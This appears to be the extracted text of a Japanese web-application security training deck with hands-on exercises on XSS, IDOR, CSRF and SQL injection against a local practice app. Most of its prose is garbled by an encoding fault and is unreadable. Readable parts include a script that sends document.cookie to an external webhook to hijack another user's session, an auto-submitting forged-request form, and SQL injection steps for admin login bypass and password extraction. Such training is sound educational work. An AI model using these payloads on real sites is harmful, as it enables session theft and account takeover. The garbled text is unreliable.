ʲൃలʳͱಉ༷ʹࣗݾհͷදࣔ෦ͰBMFSU ͕࣮ߦ͞ΕΔΑ͏ʹ ࡉͯ͠Έ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ FMFNFOUJOOFS)5.-Ͱɺཁૉʹ)5.-ΛૠೖͰ͖Δ͕ TDSJQUλά࣮ߦ͞Εͳ͍͜ͱʹͳ͍ͬͯΔ ҰํͰɺTDSJQUλάΛΘͣʹ +BWB4DSJQUΛ࣮ߦ͢Δ͜ͱՄೳͩͱΘ͔Δ
Ͱɺ݁ہ)5.-λά͕ಡΈࠐ·ΕΔͷͰ͋ΕɺTDSJQUλά͕ಈ࡞͠ͳ͔ͬͨͷͳͥʁ ⑲ ウェブでinnerHTMLの仕様を調査 TDSJQUλάΛΘͣʹ+BWB4DSJQUΛ࣮ߦ͢Δ ͭ·ΓɺJOOFS)5.-Λͬͯ BMFSU Λ࣮ߦ͢Δʹʜ https://developer.mozilla.org/ja/docs/Web/API/Element/innerHTML
ʲൃలʳͱಉ༷ʹࣗݾհͷදࣔ෦ͰBMFSU ͕࣮ߦ͞ΕΔΑ͏ʹ ࡉͯ͠Έ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲ࠷ऴతͳղ๏ʳ ᾛ JNH TSDYPOFSSPSBMFSU
Λೖྗ ᶅ ϓϩϑΟʔϧΛߋ৽ ᾦࣗͷࣗݾհϖʔδʹΞΫηε ᾧ εΫϦϓτ͕࣮ߦ͞ΕΔ͜ͱΛ֬ೝ ᶖ IUUQMPDBMIPTUQSPpMFʹΞΫηε
ʲൃలʳ࡞ͨ͠ଞͷΞΧϯτͷ$PPLJFΛऔ͢Δ944ͷίʔυΛ࡞ ͯ͠Έ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ํ$PPLJF εΫϦϓτ͔ΒऔಘͰ͖ΔͷͰɺऔಘͨ͠༰Λ֎෦ʹૹ৴͢ΔίʔυΛॻ͘ɻ ʲ֎෦αʔόʔͷ४උʳ ᶃ IUUQTXFCIPPLTJUFʹΞΫηε
ᶄ &EJUΛબ ᶅ "EE$034IFBEFSTʹνΣοΫΛೖΕΔ ᶆ 4BWFΛԡ͢ ᶇ 63- ֎෦αʔόʔͷ63- Λίϐʔ͢Δ
ʲൃలʳ࡞ͨ͠ଞͷΞΧϯτͷ$PPLJFΛऔ͢Δ944ͷίʔυΛ࡞ ͯ͠Έ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲ944ίʔυͷ࣮ߦΛ࣮ݧʳ ᶊ ݕࡧϘλϯΛԡ͢ ᶉ ҎԼͷίʔυΛೖྗ
<script>fetch( "<ᶇͰίϐʔͨ͠URL>?data=" + document.cookie )</script> ᶋ ᶃͷը໘ʹϦΫΤετ͕දࣔ͞ΕΔ͜ͱΛ֬ೝ ᶈ IUUQMPDBMIPTUQPTUTTFBSDIʹΞΫηε Cookieͷ༰͕औಘͰ͖͍ͯΔ
ઌ΄Ͳͱҧ͏(ଞਓ)ͷ Cookie͕औಘͰ͖͍ͯΔ ʲൃలʳ࡞ͨ͠ଞͷΞΧϯτͷ$PPLJFΛऔ͢Δ944ͷίʔυΛ࡞ ͯ͠Έ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲଞਓͷΞΧϯτͷ$PPLJFΛऔʳ ᶌ 944ίʔυ࣮ߦޙͷϒϥβ͔Β63-Λίϐʔ
ᶍ ଞਓʹϦϯΫΛڞ༗ ᶎ ୭͔͕ᶍͷϦϯΫΛ౿ΉͱϦΫΤετ͕දࣔ͞ΕΔ
ඇެ։
944Λѱ༻͢ΔͱɺଞʹͲͷΑ͏ͳඃ͕ൃੜ͢Δͷʁ ใऔ ѱҙͷ͋Δίϯςϯπͷվม • $PPLJFͷऔʹΑΔηογϣϯͷͷͬͱΓ • $PPLJFΛ༩ͨ͠ϦΫΤετ࣮ߦͱ༰ͷಡΈऔΓ • ը໘ʹදࣔ͞Εͨใͷऔ
• ٗϖʔδͷදࣔͳͲ
944Λѱ༻͢ΔͱɺଞʹͲͷΑ͏ͳඃ͕ൃੜ͢Δͷʁ ใऔ ѱҙͷ͋Δίϯςϯπͷվม • $PPLJFͷऔʹΑΔηογϣϯͷͷͬͱΓ • $PPLJFΛ༩ͨ͠ϦΫΤετ࣮ߦͱ༰ͷಡΈऔΓ • ը໘ʹදࣔ͞Εͨใͷࡡऔ
• ٗϖʔδͷදࣔͳͲ ԋशͰѻͬͨɺͪ͜ΒΛৄ͘͠આ໌͠·͢
ʮ$PPLJFͷऔʹΑΔηογϣϯͷͷͬͱΓʯ ͱɺͲͷΑ͏ͳඃʁ ϒϥβͷ$PPLJFʹଘࡏ͢Δʮηογϣϯ*%ʯ͕ୈࡾऀʹ࿙Εɺ ୈࡾऀ͔ΒΞΧϯτʹΞΫηε͞Εͯ͠·͏ඃɻ ηογϣϯ*%ೖखํ๏ͷ̍ͭͱͯ͠ɺ944ͷ੬ऑੑ͕ΘΕΔɻ Ϣʔβʔͷࣝผηογϣϯ*%Ͱߦ͍ͬͯΔ ͭ·Γɺηογϣϯ*%͕࿙ΕΔͱɺୈࡾऀ͕ͳΓ͢·͠Ͱ͖Δ 1࠶ܝ
ͳͥ944Ͱ$PPLJFʹଘࡏ͢Δʮηογϣϯ*%ʯ͕ୈࡾऀʹ࿙Εͯ͠·͏ͷʁ 944ʹΑΓɺ$PPLJFΛ߈ܸऀʹૹ৴͢ΔεΫϦϓτ͕ઃஔͰ͖ΔͨΊɻ ඃऀ͕944ͷ͋ΔϖʔδʹΞΫηε͠ɺͦͷεΫϦϓτ͕࣮ߦ͞ΕΔ͜ͱͰऔ͞ΕΔɻ ϖϯΪϯ͘Μͷ ηογϣϯήοτʂ ߈ܸऀ ΞΫηε͢Δͱ$PPLJFΛ ߈ܸऀͷαʔόʔʹૹ৴͢Δ +BWB4DSJQU
ඃऀ ඃऀϖʔδΛ Ӿཡ͚ͨͩ͠Ͱ $PPLJF͕ൈ͔Εͯ͠·͏ ͜ͷਓͷϓϩϑΟʔϧؾ ʹͳΔʂ ΞΫηε࣌ʹ࣮ߦ
Θ͟Θ͟944Λར༻͠ͳͯ͘ɺ߈ܸऀ͕༻ҙͨ͠αΠτ͔ΒऔͰ͖ͳ͍ͷʁ $PPLJFυϝΠϯ୯ҐͰཧ͞ΕΔͨΊɺجຊతʹεΫϦϓτΛ༻͍ͯɺ ͋ΔυϝΠϯ͔ΒผͷαΠτͷϦιʔεΞΫηε͢Δ͜ͱͰ͖ͳ͍ɻ 944Λ͑ಉ͡υϝΠϯ্ͰεΫϦϓτΛಈ͔ͤΔͨΊ͜ͷ੍ݶΛճආͰ͖ Δɻ IUUQT ͷϖʔδ $PPLJF IUUQTFWJMFYBNQMFDPNͷϖʔδ
ѱҙͷ͋Δ+BWB4DSJQU ϒϥβ υϝΠϯ͕ҟͳΔαΠτͷ߹ GFUDI ʹΑΔϨεϙϯεಡΈऔΓ ͜͜ͷ෦Λ υϝΠϯͱ͍͏ υϝΠϯΛ͑Δଓ੍ݶ͞ΕΔ
͜ͷΑ͏ͳ944ͷ੬ऑੑɺͳʹ͕ݪҼͰൃੜ͢Δͷʁ ֎෦͔Βͷೖྗʹରͯ͠ɺదͳແԽॲཧ͕ߦΘΕ͓ͯΒͣɺεΫϦϓτ ͳͲΛؚΉೖྗ͕ͦͷ··ϒϥβͰղऍ͞Εͯ͠·͏ͨΊ JNH POMPBEϢʔβʔͷೖྗ EPDVNFOUCPEZJOOFS)5.- Ϣʔβʔͷೖྗ EPDVNFOUXSJUF Ϣʔβʔͷೖྗ
Ϣʔβʔͷೖྗ͕ͦͷ··ೖ͞ΕΔ ˠ ةݥͳίʔυΛࠩ͠ࠐ·Ε͏Δ K2VFSZͷK2VFSZBQQFOE 3FBDUKTͷEBOHFSPVTMZ4FU*OOFS)5.- ͳͲ 8FC6*Λૢ࡞͢ΔͨΊͷϥΠϒϥϦͰɺҰ෦ແԽॲཧ͕ߦΘΕͳ͍߹͕͋ΔͨΊҙɻ ࣮ྫ ࣮ྫ ࣮ྫ OPUF
*%03ʢ*OTFDVSF%JSFDU 0CKFDU3FGFSFODFʣ
ଞਓͷߘΛฤूͯ͠Έ·͠ΐ͏ ώϯτɿ$ISPNFͷσϕϩούʔπʔϧΛར༻ͯ͠GPSNཁૉΛࡉ ʲൃలʳDVSMΛͬͯͱಉ༷ͷ͜ͱΛͬͯΈ·͠ΐ͏ ʲൃలʳ#VSQ4VJUFΛͬͯͱಉ༷ͷ͜ͱΛͬͯΈ·͠ΐ͏ ώϯτɿ͍ํ"QQFOEJYࢀর ԋशɿ*%03Λѱ༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ
ଞਓͷߘΛฤूͯ͠Έ·͠ΐ͏ ԋशղઆɿ*%03Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲߘͷྲྀΕͷ֬ೝʳ ᶃ IUUQMPDBMIPTUQPTUTʹΞΫηε ᶄ దͳߘΛ࡞͠ߘ ᶅ
ࣗͷߘͷฤूϘλϯΛԡ͢ ᶆ ฤू༰Λೖྗ͠✔ϚʔΫΛԡ͢ ᶇ ฤू༰͕ө͞ΕΔ ᶆˠᶇ ͷؒʹߦΘΕΔૢ࡞Λɺଞਓʹରͯ͠ߦ͍͍ͨ ଞਓͷߘΛฤू͢ΔͨΊʹ
ଞਓͷߘΛฤूͯ͠Έ·͠ΐ͏ ԋशղઆɿ*%03Λѱ༻ͨ͠߈ܸ ԋशղઆ ᶈ ։ൃऀπʔϧΑΓ&MFNFOUTλϒΛ։͘ ۩ମతʹᶆͰߦΘΕΔૢ࡞Λ֬ೝ͢Δ ᶉ ฤूը໘ͷςΩετΤϦΞཁૉΛબ ᶈ
ϒϥβΛᶆͷը໘ʹͨ͠ঢ়ଶͰʮཁૉΛબʯϘλϯΛԡ͢ ᶊ ςΩετΤϦΞલޙͷཁૉͰߘͷࢦఆՕॴΛ୳͢ ߘ*%ͷࢦఆՕॴΛൃݟ
ଞਓͷߘΛฤूͯ͠Έ·͠ΐ͏ ԋशղઆɿ*%03Λѱ༻ͨ͠߈ܸ ԋशղઆ ଞਓͷߘ*%Ͱ*%Λมߋͯ͠ฤूΛૹ৴͢Δ ᶋ ଞਓͷߘʹରͯ͠ᶈʙᶊͷखॱΛߦ͍ɺଞਓͷʮEBUBQPTUJEΛऔಘʯ ଞਓͷߘ ଞਓͷߘ*% μϒϧΫϦοΫͰฤूՄೳ
⑫ ίϝϯτΛฤू͠ૹ৴ ⑬ ϖʔδΛߋ৽ ͢Δͱ ଞਓͷίϝϯτ͕ࠩ͠มΘͬͨ͜ͱ͕Θ͔Δ ᶌ ᶊͰબ͍ͯͨ͠ཁૉʹΓɺʮEBUBQPTUJEʯΛฤू
ʲൃలʳDVSMΛͬͯͱಉ༷ͷ͜ͱΛͬͯΈ·͠ΐ͏ ԋशղઆɿ*%03Λѱ༻ͨ͠߈ܸ ԋशղઆ ᶃ։ൃऀπʔϧͷ/FUXPSLλϒΛ։͖ͳ͕Βɺͷᶃʙᶇͷૢ࡞Λߦ͏ ᶄͷᶆͷૢ࡞ͷ࣌ʹߦΘΕͨૢ࡞ͷৄࡉΛ֬ೝ ᶅᶄͷϦΫΤετʹ͍ͭͯ)FBEFST1BZMPBEͷλϒΛ֬ೝ QPTUTJEͷ1045ϦΫΤετ ͔֬ʹฤू༰Λૹ͍ͬͯͦ͏ ᶆ
ᶃͷը໘͔Βૢ࡞ΛӈΫϦοΫ͠ɺ$PQZBTD63- Λબ
ʲൃలʳDVSMΛͬͯͱಉ༷ͷ͜ͱΛͬͯΈ·͠ΐ͏ ԋशղઆɿ*%03Λѱ༻ͨ͠߈ܸ ԋशղઆ ᶇᶆͰίϐʔͨ͠ίϚϯυΛదͳΤσΟλʹషΓ͚Δ ᶈߘͷ*%෦Λଞਓͷͷʹࠩ͠ସ͑Δ ᶉ मਖ਼ͨ͠ίϚϯυΛίϐʔ͠ɺλʔϛφϧ͔Βૹ৴ ᶊ ϖʔδΛߋ৽͢Δͱө͕֬ೝͰ͖Δ
ʲൃలʳ#VSQ4VJUFΛͬͯͱಉ༷ͷ͜ͱΛͬͯΈ·͠ΐ͏ ԋशղઆɿ*%03Λѱ༻ͨ͠߈ܸ ԋशղઆ ᶃ#VSQ4VJUF $PNNVOJUZ&EJUJPOΛىಈ ᶄ/FYUΛબ ᶅ4UBSU#VSQΛબ
ʲൃలʳ#VSQ4VJUFΛͬͯͱಉ༷ͷ͜ͱΛͬͯΈ·͠ΐ͏ ԋशղઆɿ*%03Λѱ༻ͨ͠߈ܸ ԋशղઆ ᶆ1SPYZλϒΛ։͘ ᶇ0QFOCSPXTFSΛԡ͢ ᶈϒϥβ͕։͘ͷͰ IUUQMPDBMIPTUQPTUTʹΞΫηε ᶉΞΫηε࣌ʹҎԼͷΑ͏ͳද͕ࣔग़ͨ߹ ڐՄΛબ
ʲൃలʳ#VSQ4VJUFΛͬͯͱಉ༷ͷ͜ͱΛͬͯΈ·͠ΐ͏ ԋशղઆɿ*%03Λѱ༻ͨ͠߈ܸ ԋशղઆ ᶊᶈͷϒϥβͰͷᶃʙᶅ·ͰͷखॱΛߦ͏ ᶋ*OUFSDFQUP⒎ϘλϯΛԡ͠ɺPOʹ͢Δ ᶌߘϘλϯΛԡ͢ ᶍ ᶋͷը໘ʹᶌͷૢ࡞ʹΑΓૹ৴͞ΕΔϦΫΤετ͕දࣔ͞ΕΔ ຊޠΤϯίʔυ͞Ε͍ͯΔ͚Ͳຊจʹݟ͑Δ
QPTUTJEͷ1045ϦΫΤετ
ʲൃలʳ#VSQ4VJUFΛͬͯͱಉ༷ͷ͜ͱΛͬͯΈ·͠ΐ͏ ԋशղઆɿ*%03Λѱ༻ͨ͠߈ܸ ԋशղઆ ᶎ ߘͷ*%෦Λଞਓͷͷʹࠩ͠ସ͑Δ ᶏ 'PSXBSEϘλϯΛԡ͢ ᶐ Ҏ߱ͷϦΫΤετฤूෆཁͳͷͰ*OUFSDFQUΛP⒎ʹ͢Δ
ᶑ ϖʔδΛߋ৽͢Δͱө͕֬ೝͰ͖Δ
ԋशղઆɿ*%03Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲ#VSQ4VJUFͷิϦΫΤετͷཤྺ֬ೝํ๏ʳ ᶓΛԡ͠ɺ߱ॱʹฒΔ ᶒ#VSQ4VJUFͷը໘Ͱ)551IJTUPSZΛબ ᶔదͳϦΫΤετΛΫϦοΫ ͦͷϦΫΤετϨεϙϯεͷ ௨৴༰͕දࣔ͞ΕΔ ͋ͱ͔ΒϒϥβͰͷ௨৴༰Λ֬ೝ͢ΔͨΊ
ϒϥβͷ։ൃऀπʔϧͱҧ͍ ϖʔδ͕ભҠͯ͠࿈ଓͯ͠อଘ͞ΕΔͷͰศར ͜ͷػೳԿʹ͏ͷ #VSQ4VJUF͔Β։͍ͨϒϥβͰൃੜͨ͠௨৴͕ શͯه͞Ε͍ͯ·͢ʂ ˠҎ߱#VSQTVJUFͷϒϥβͷ༻Λલఏͱͯ͠ਐΊ·͢
ඇެ։
ඇެ։
*%03ͷݪཧ 1045QPTUT DPNNFOUࠓ͍͍ఱؾ‗ *%ͷߘΛߋ৽͢ΔϦΫΤετ 1045QPTUT DPNNFOU͜Μʹͪʂ *%ͷߘΛߋ৽͢ΔϦΫΤετ ߘ͝ͱʹ*%ΛׂΓͯͯαʔόʔଆͰࣝผ ฤूରͷߘΛϦΫΤετ࣌ʹ*%Ͱࢦఆ
"͞Μ͕ࣗͷ ߘʢ*%ʣΛߋ৽ ߈ܸऀ͕ࣗͷ ߘʢ*%ʣΛߋ৽ "͞Μ ʮࠓ͍͍ఱؾ‗ʯ ߈ܸऀ ʮ͜Μʹͪʯ ߘ ߘ
*%03ͷݪཧ 1045QPTUT DPNNFOUࢲ͓ۚ࣋ͪͰ͢ʂ *%ͷߘΛߋ৽͢ΔϦΫΤετ ߈ܸऀ͕ࣗͷ ߘʢ*%ʣΛߋ৽ ଞਓͷߘ*%ʹ มߋͯ͠ߋ৽ "͞Μ
ʮࢲ͓ۚ࣋ͪͰ͢ʂʯ ߈ܸऀ ʮ͜Μʹͪʯ ߘ ߘ
$43' $SPTT4JUF3FRVFTU'PSHFSZ
αʔϏεʹϩάΠϯதͷଞϢʔβʔ͕ΫϦοΫ͢Δ͚ͩͰϢʔβʔ͕ আ͞Εͯ͠·͏63-Λ࡞͍ͬͯͩ͘͞ ͷΑ͏ʹϦϯΫΛΫϦοΫ͢Δ͚ͩͰআ͞ΕΔڍಈͳͥ ͩͱߟ͑ΒΕΔͰ͠ΐ͏͔ʁ ʢͲͷΑ͏ͳঢ়ଶ͔ΒͷϦΫΤετͳΒͳ͍͔߹Θͤͯߟ͑ͯΈ·͠ΐ͏ʣ ʲൃలʳαʔϏεʹϩάΠϯதͷଞͷϢʔβʔ͕։͚ͩ͘Ͱɺҙਤ͠ ͳ͍ߘΛͤ͞ΒΕΔ᠘ϖʔδΛ࡞ͬͯΈ·͠ΐ͏ ԋशɿ$43'Λѱ༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ
αʔϏεʹϩάΠϯதͷଞϢʔβʔ͕ΫϦοΫ͢Δ͚ͩͰϢʔβʔ͕ আ͞Εͯ͠·͏63-Λ࡞͍ͬͯͩ͘͞ ԋशɿ$43'Λѱ༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ ԋशղઆ ᶃ IUUQMPDBMIPTUQSPpMFʹΞΫηε ᶄ ʮϢʔβʔΛআʯΛԡ͢
ᶅ ֬ೝը໘ͳ͠ʹϢʔβʔ͕আ͞ΕΔ͜ͱΛ֬ೝ
αʔϏεʹϩάΠϯதͷଞϢʔβʔ͕ΫϦοΫ͢Δ͚ͩͰϢʔβʔ͕ আ͞Εͯ͠·͏63-Λ࡞͍ͬͯͩ͘͞ ԋशɿ$43'Λѱ༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ ԋशղઆ ᶆ #VSQ4VJUFͰᶄͷૢ࡞ͷࡍͷϦΫΤετΛ֬ೝ͢ΔͱɺMFBWFϦΫΤετ͕͋Δ ᶇ దͳϢʔβʔΛ࡞͠ɺIUUQMPDBMIPTUMFBWF
ʹΞΫηε $PPLJFͷηογϣϯͰϢʔβʔΛࣝผ ͦͷ·· MPHJOϖʔδʹϦμΠϨΫτ 㲈͜ͷॲཧ͚ͩͰআ͕ߦΘΕ͍ͯͦ͏ ᶈ ϩάΠϯͷࣦഊΛ֬ೝ ˠ ͷճ IUUQMPDBMIPTUMFBWF
ͷΑ͏ʹϦϯΫΛΫϦοΫ͢Δ͚ͩͰআ͞ΕΔڍಈͳͥ ͩͱߟ͑ΒΕΔͰ͠ΐ͏͔ʁ ʢͲͷΑ͏ͳঢ়ଶ͔ΒͷϦΫΤετͳΒͳ͍͔߹Θͤͯߟ͑ͯΈ·͠ΐ͏ʣ ԋशɿ$43'Λѱ༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ ʲ͜ͷڍಈ͕Ͱ͋Δཧ༝ʳ Ϣʔβʔͷҙਤ͠ͳ͍ૢ࡞ͰɺαʔϏεʹมߋ͕ߦΘΕͯ͠·͏Մೳੑ͕͋ΔͨΊɻ ྫ͑ɺ֎෦ͷαΠτʹআ63-ͷϦϯΫΛઃஔͨ͠ͱͯ͠ɺ ΫϦοΫ͢Δ͚ͩͰআ͕࣮ߦ͞Εͯ͠·͏ɻ
ԋशղઆ ʲͲͷΑ͏ͳϦΫΤετͳΒͳ͍͔ʳ Ϣʔβʔͷҙਤͨ͠ૢ࡞ͷΈ࣮ߦՄೳͱ͢ΔͨΊɺ ʮਖ਼نͷը໘͔Βૢ࡞͞Εͨͷ͔ʯ֬ೝͰ͖͍ͯΔ ϦΫΤετͷΈΛॲཧ͢Δ͖Ͱ͋Δɻ
ʲൃలʳαʔϏεʹϩάΠϯதͷଞͷϢʔβʔ͕։͚ͩ͘Ͱɺҙਤ͠ ͳ͍ߘΛͤ͞ΒΕΔ᠘ϖʔδΛ࡞ͬͯΈ·͠ΐ͏ ԋशɿ$43'Λѱ༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ ԋशղઆ <!DOCTYPE html> <html lang="ja">
<head> <meta charset="UTF-8"> </head> <body> <form action="http://localhost:5000/posts" method="post" id="x"> <input type="hidden" name="url" value="https://recruit.co.jp"> <input type="hidden" name="comment" value="意図しない投稿"> </form> <script> window.x.submit() </script> </body> </html> ᶃ ҎԼͷ)5.-Λ UFTUIUNM ͱͯ͠దͳॴʹอଘ ᶅ IUUQMPDBMIPTUUFTUIUNMʹΞΫηε ᶄ ᶃͷอଘઌσΟϨΫτϦͰλʔϛφϧΛىಈ͠ɺ QZUIPOrNIUUQTFSWFS Λ࣮ߦ ᶆ ભҠઌͷϖʔδͰҙਤ͠ͳ͍ߘΛ֬ೝͰ͖Δ
ඇެ։
ϒϥβ͕ɺΞΫηεઌͷαΠτ༻ʹอଘ͍ͯ͠Δ$PPLJFʢηογϣϯ*%ʣΛɺ߈ܸऀͷαΠ τܦ༝ͰΞΫηεͨ͠߹Ͱࣗಈతʹૹ৴͍ͯͨͨ͠Ί $PPLJFભҠݩͷϖʔδʹؔΘΒͣɺϦΫΤετઌͷυϝΠϯͷͷ͕ࣗಈͰ༩͞ΕΔ ͳͥɺ߈ܸऀͷαΠτܦ༝ͰϩάΠϯ͕ඞཁͳॲཧΛ࣮ߦͰ͖ͨͷʁ ߈ܸऀͷ᠘αΠτʹΞΫηε ϢʔβʔIPHF IUUQTWVMONBSLFSFYBNQMFKQ WVMONBSLFSʹ ϩάΠϯࡁΈ
ηογϣϯ*%ͷ $PPLJF͕͋Δ IUUQTFWJMFYBNQMFDPN IUUQTWVMONBSLFSFYBNQMFKQ ͷϦϯΫϑΥʔϜΛؚΉϖʔδ هࣄߘͳͲͷϩάΠϯ͕ඞཁͳػೳʹΞΫηε ࢲͷηογϣϯ*%99Ͱ͢ ϦΫΤετʹ ࣗಈతʹ$PPLJF༩ ηογϣϯ*%Λͱʹ ϩάΠϯঢ়ଶͱͯ͠ॲཧ
42-*OKFDUJPO
Λೖྗͯ͠Έͯ42-ͷΤϥʔ͕ग़ΔՕॴΛ୳ͯ͠ɺιʔείʔυ͔Βݪ ҼΛ୳ͬͯΈ·͠ΐ͏ʢෳՕॴ͋Γ·͢ʣ ύεϫʔυΛΒͳ͍BENJOϢʔβʔͰϩάΠϯͯ͠Έ·͠ΐ͏ ʲൃలʳ42-*OKFDUJPOΛར༻ͯ͠ɺVTFSTςʔϒϧʹ֨ೲ͞Ε͍ͯΔ QBTTXPSEΧϥϜͷσʔλΛ࿙Ӯͤͯ͞Έ·͠ΐ͏ ώϯτ6/*0/۟Λར༻͢Δ ώϯτ6/*0/۟Ͱ݁߹ݩͱΧϥϜΛҰகͤ͞Δඞཁ͕͋Δ ԋश42-*OKFDUJPOΛར༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ
Λೖྗͯ͠Έͯ42-ͷΤϥʔ͕ग़ΔՕॴΛ୳ͯ͠ɺιʔείʔυ͔Βݪ ҼΛ୳ͬͯΈ·͠ΐ͏ʢෳՕॴ͋Γ·͢ʣ ԋश42-*OKFDUJPOΛར༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ Τϥʔͷग़ΔՕॴɺҎԼͷՕॴͰͨ͠ɻ ԋशղઆ ϩάΠϯϖʔδ IUUQMPDBMIPTUMPHJO ᶃ
͍ͣΕ͔ʹʮʯΛೖྗ ᶄ ϩάΠϯ ᶅ 42-Τϥʔ͕දࣔ͞ΕΔ ݕࡧϖʔδ IUUQMPDBMIPTUQPTUTTFBSDI ᶃ ͍ͣΕ͔ʹʮʯΛೖྗ ᶄ ݕࡧ ᶅ 42-Τϥʔ͕දࣔ͞ΕΔ
Λೖྗͯ͠Έͯ42-ͷΤϥʔ͕ग़ΔՕॴΛ୳ͯ͠ɺιʔείʔυ͔Βݪ ҼΛ୳ͬͯΈ·͠ΐ͏ʢෳՕॴ͋Γ·͢ʣ ԋश42-*OKFDUJPOΛར༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ ݕࡧϖʔδ IUUQMPDBMIPTUMPHJO ͷݪҼՕॴ ԋशղઆ ᶃ
ιʔείʔυΛ MPHJOͰݕࡧ͠ΤϯυϙΠϯτͷ࣮Λ֬ೝ ᶄ %#ͷॲཧͱࢥΘΕΔ࣮Λ֬ೝɻϢʔβͷೖྗΛ ͦͷ··42-ΫΤϦʹೖ͍ͯ͠Δ෦Λൃݟ
Λೖྗͯ͠Έͯ42-ͷΤϥʔ͕ग़ΔՕॴΛ୳ͯ͠ɺιʔείʔυ͔Βݪ ҼΛ୳ͬͯΈ·͠ΐ͏ʢෳՕॴ͋Γ·͢ʣ ԋश42-*OKFDUJPOΛར༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ ݕࡧϖʔδ IUUQMPDBMIPTUQPTUTTFBSDI ͷݪҼՕॴ ԋशղઆ ᶃ
ιʔείʔυΛ QPTUTTFBSDIͰݕࡧ͠ΤϯυϙΠϯτͷ࣮Λ֬ೝ ᶄ %#ͷॲཧͱࢥΘΕΔTFMFDU1PTUTͷ࣮Λ֬ೝ 74$PEFͰ͋Ε $PNNBOE ໊ؔΛΫϦοΫ ᶅ TFMFDU1PTUTؔΛௐࠪ͠ɺϢʔβͷೖྗΛͦͷ·· 42-ΫΤϦʹೖ͍ͯ͠Δ෦Λൃݟ
ύεϫʔυΛΒͳ͍BENJOϢʔβʔͰϩάΠϯͯ͠Έ·͠ΐ͏ ԋश42-*OKFDUJPOΛར༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ 4&-&$5JE VTFSOBNF QBTTXPSE '30.VTFST 8)&3&VTFSOBNFVTFSOBNF "/%QBTTXPSEQBTTXPSE
Ͱௐࠪͨ͠ιʔείʔυΑΓɺࣈͷ෦ʹ ҙͷจࣈྻΛࠩ͠ࠐΊΔ͜ͱ͕Θ͔Δ ԋशղઆ 4&-&$5JE VTFSOBNF QBTTXPSE '30.VTFST 8)&3&VTFSOBNFBENJO "/%QBTTXPSE03 ⾣ QBTTXPSEͷҰகఆͷ෦͕ ৗʹ݅Λຬͨ͢Α͏ʹ͢ΕϩάΠϯͰ͖Δ ʮQBTTXPSEʯ ਅͰͳͯ͘ɺ ʮʯඞͣਅͳͷͰɺ ʮQBTTXPSE03ʯඞͣਅ
ύεϫʔυΛΒͳ͍BENJOϢʔβʔͰϩάΠϯͯ͠Έ·͠ΐ͏ ԋश42-*OKFDUJPOΛར༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ ԋशղઆ ᶃ ϩάΠϯϖʔδ IUUQMPDBMIPTUMPHJOʹΞΫηε ᶄ Ϣʔβʔ໊ʹ
BENJO Λೖྗ ᶅ ύεϫʔυʹ 03Λೖྗ ᶆ ϩάΠϯ ᶇ దͳߘΛߦ͏ ᶈ BENJOͱͯ͠ ߘ͞Εͨ͜ͱΛ֬ೝ
ʲൃలʳ42-*OKFDUJPOΛར༻ͯ͠ɺVTFSTςʔϒϧʹ֨ೲ͞Ε͍ͯΔ QBTTXPSEΧϥϜͷσʔλΛ࿙Ӯͤͯ͞Έ·͠ΐ͏ ώϯτ6/*0/۟Λར༻͢Δ ώϯτ6/*0/۟Ͱ݁߹ݩͱΧϥϜΛҰகͤ͞Δඞཁ͕͋Δ ԋश42-*OKFDUJPOΛར༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ ԋशղઆ 4&-&$5JE DPNNFOU
தུ '30.QPTUT -&'5+0*/VTFSTதུ 8)&3&VSMTVSM -*,&ೖྗՄೳ 03%&3#:QPTUTDSFBUFE@BU %&4$ ˡ VTFSTςʔϒϧࣗମಡΈࠐ·Ε͍ͯΔ ˡ͜͜ͰԿΒ͔ͷܗͰQBTTXPSEΧϥϜΛ औಘ͢ΔΑ͏ʹ͍ͨ͠ Ͱௐࠪͨ͠ιʔείʔυΑΓɺࣈͷ෦ʹ ҙͷจࣈྻΛࠩ͠ࠐΊΔ͜ͱ͕Θ͔Δ VSMͷΈΛೖྗͨ͠߹
ʲൃలʳ42-*OKFDUJPOΛར༻ͯ͠ɺVTFSTςʔϒϧʹ֨ೲ͞Ε͍ͯΔ QBTTXPSEΧϥϜͷσʔλΛ࿙Ӯͤͯ͞Έ·͠ΐ͏ ώϯτ6/*0/۟Λར༻͢Δ ώϯτ6/*0/۟Ͱ݁߹ݩͱΧϥϜΛҰகͤ͞Δඞཁ͕͋Δ ԋश42-*OKFDUJPOΛར༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ 6/*0/4&-&$5 QBTTXPSE
VTFSOBNF '30.VTFST ώϯτΛݩʹ6/*0/۟ͷ׆༻Λߟ͑Δͱɺ Ͱௐࠪͨ͠ιʔείʔυΑΓ ͜ͷΫΤϦݸͷΧϥϜ͕ඞཁͱΘ͔Δ ԋशղઆ ͜ͷΧϥϜͷதͰݕࡧ݁Ռͱͯ͠දࣔ͞ΕΔ෦ʹ VTFSOBNFͱQBTTXPSEͷΈ߹ΘͤΛදࣔ͢ΔΫΤϦΛ࡞Δ ⾣ DPNNFOUͷ෦ʹɺQBTTXPSE VTFSOBNFͷ෦ʹɺVTFSOBNF ͦͷଞΧϥϜͷҰகͷͨΊͰຒΊΔ DPNNFOU VTFSOBNF දࣔʹ͏ΧϥϜը໘্ʹදࣔ͞ΕΔཁૉ͔Βదʹબ
